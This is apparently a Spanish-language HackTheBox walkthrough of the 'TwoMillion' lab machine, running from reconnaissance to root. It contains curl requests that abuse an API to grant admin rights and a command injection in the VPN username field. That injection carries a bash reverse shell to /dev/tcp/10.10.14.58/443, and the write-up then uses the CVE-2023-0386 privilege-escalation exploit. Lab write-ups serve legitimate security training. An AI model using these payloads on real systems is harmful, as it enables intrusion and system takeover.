> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/hackthebox/twomillion.md).

# TwoMillion

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.11.221
```

para verificar la conectividad de red.

<figure><img src="/files/ZbjcygOv8QDT9Shmk88q" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.11.221
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/ZA0rHE2tAIZtXx7xXYSM" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 10.10.11.221
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/IrkC8iBBqNRkqkOihsJv" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="/files/976VE0BHFCmpE0R8oe3y" alt=""><figcaption></figcaption></figure>

Se asimila a la página oficial de Hack The Box pero no vemos nada interesante por lo que revisamos los directorios.

```bash
gobuster dir -u http://2million.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --exclude-length 162
```

<figure><img src="/files/buUAJ8hwO2Nm0bjMRZIC" alt=""><figcaption></figcaption></figure>

Nos llama la atención el directorio `/invite` se asimila a como se tenía que registrar la gente al principio en la plataforma ya que se necesitaba un código de invitación. Tras inspeccionar la página encontramos la función llamada **makeInviteCode**.

<figure><img src="/files/jN3ugLIKbFHSBrwouFeE" alt=""><figcaption></figcaption></figure>

La llamamos.

<figure><img src="/files/TPFI2hcmGdpvZ4z1GYcc" alt=""><figcaption></figcaption></figure>

Como vemos esta encriptada en **ROT13** por lo que desencriptamos.

<figure><img src="/files/k016RIPQSa5kX13JDbTG" alt=""><figcaption></figcaption></figure>

Realizamos lo que nos comunica la pista.

```bash
curl -s -X POST "http://2million.htb/api/v1/invite/generate"
```

<figure><img src="/files/XOMv02viuMx2TcADXPBW" alt=""><figcaption></figcaption></figure>

Está el código en **base64** por lo que decodificamos.

```bash
echo "SDg2RjUtUUdRMDUtWEdEMTItU1o3QTg=" | base64 -d
```

<figure><img src="/files/rxU5uQ8dCExU1azEma2V" alt=""><figcaption></figcaption></figure>

Ponemos el código de invitación.

<figure><img src="/files/pnQkZAShh2puRBfmFzak" alt=""><figcaption></figcaption></figure>

Nos logueamos con las credenciales registradas.

<figure><img src="/files/XhWWKZuTieeCl7ysiqlZ" alt=""><figcaption></figcaption></figure>

Vamos al apartado de **Access**. Miramos los endpoints de la API.

```bash
curl -s -X GET "http://2million.htb/api/v1" -v
```

<figure><img src="/files/HZ7oQuBN6Fd3HpdKhuGz" alt=""><figcaption></figcaption></figure>

Nos sale **Unauthorized** por lo que tenemos que coger la **cookie session**.

<figure><img src="/files/98SHopN6wpUzFOnJsiU4" alt=""><figcaption></figcaption></figure>

```bash
curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq
```

<figure><img src="/files/yQlFRkzp9DNrNvy4Gxoj" alt=""><figcaption></figcaption></figure>

No somos administradores. Tampoco podemos generar una VPN. Vemos que podemos actualizar datos del usuario así que probamos.

```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json"| jq
```

<figure><img src="/files/ilVnwJmCNW3R8QSbTBsh" alt=""><figcaption></figcaption></figure>

Nos avisa del email por lo que añadimos.

```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"email":"bea@gmail.com"}'| jq
```

<figure><img src="/files/T6yVwHz6cAgtGAsJQgpR" alt=""><figcaption></figcaption></figure>

Nos dice que falta un parámetro por si es administrador.

```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"email":"bea@gmail.com", "is_admin":1}'| jq
```

<figure><img src="/files/RILVmZ9axdKCQPupLRKM" alt=""><figcaption></figcaption></figure>

Somos administradores lo que significa que la API está mal configurada. Por si acaso revisamos.

```bash
curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq
```

<figure><img src="/files/I8T7g1sHFC0TPsFhG83d" alt=""><figcaption></figcaption></figure>

Intentamos generar una VPN ya que somos admin.

```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq
```

<figure><img src="/files/lFRRF1ZbxXQzAy1a8vnY" alt=""><figcaption></figcaption></figure>

Matizamos lo que se nos avisa.

```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json"| jq
```

<figure><img src="/files/Gmy1goCphB3ZFlF5ZPUc" alt=""><figcaption></figcaption></figure>

Ahora nos pide el parámetro username.

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username":"beafn28"}'| jq
```

<figure><img src="/files/FqkZKZ6Pcz7ERvoN7wy6" alt=""><figcaption></figcaption></figure>

La respuesta ya no está en JSON por lo que lo quitamos.

<figure><img src="/files/slwIzVYNvR8c8Wzuw6th" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Genera una VPN por el usuario que le diga. Por lo que hacemos lo siguiente.

```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username":"prueba; whoami;"}'
```

<figure><img src="/files/DoPlrdaBfNtqf8pVbTt0" alt=""><figcaption></figcaption></figure>

Somos www-data por lo que tenemos RCE.

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username": "prueba; bash -c \"bash -i >& /dev/tcp/10.10.14.58/443 0>&1\";"}'
```

Nos conectamos.

```bash
nc -lnvp 443
```

<figure><img src="/files/qPKhiNBMsJJjUUhpb1PL" alt=""><figcaption></figcaption></figure>

Tenemos un fichero .env interesante mostramos su contenido.

<figure><img src="/files/Hl3U3iT05cLhMUEdbW2l" alt=""><figcaption></figcaption></figure>

Migramos de usuario.

```bash
ssh admin@2million.htb
```

<figure><img src="/files/cOkNcSfP60TgK0thgUbI" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar pero nos pide contraseña. Tampoco tenemos permisos SUID.&#x20;

Nos dice que tenemos un mail.

<figure><img src="/files/FgSvWC7KlN1etPJxIZoj" alt=""><figcaption></figcaption></figure>

Al ver la información del sistema en el que nos encontramos encontramos este exploit.

{% @github-files/github-code-block url="<https://github.com/sxlmnwb/CVE-2023-0386>" %}

Nos lo descargamos en nuestra máquina víctima tras comprimirlo en nuestra máquina anfitrión.

```bash
wget http://10.10.14.58/comprimido.zip
```

<figure><img src="/files/5EJyWdwQYJpdhBvsWrNU" alt=""><figcaption></figcaption></figure>

Abrimos otra terminal y nos logueamos a través de **ssh** y también nos situamos en el directorio `/tmp/CVE-2023-0386`.

```
PRIMERA TERMINAL
make all
./fuse ./ovlcap/lower ./gc

SEGUNDA TERMINAL
./exp
```

Tras realizar esto nos convertimos en **root**.

<figure><img src="/files/kqZR5oPA0LQPONPUMV28" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UWf5ahTJSCMhwVCYRk1N" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/shLbClmO3c8S7BI4d14t" alt=""><figcaption></figcaption></figure>
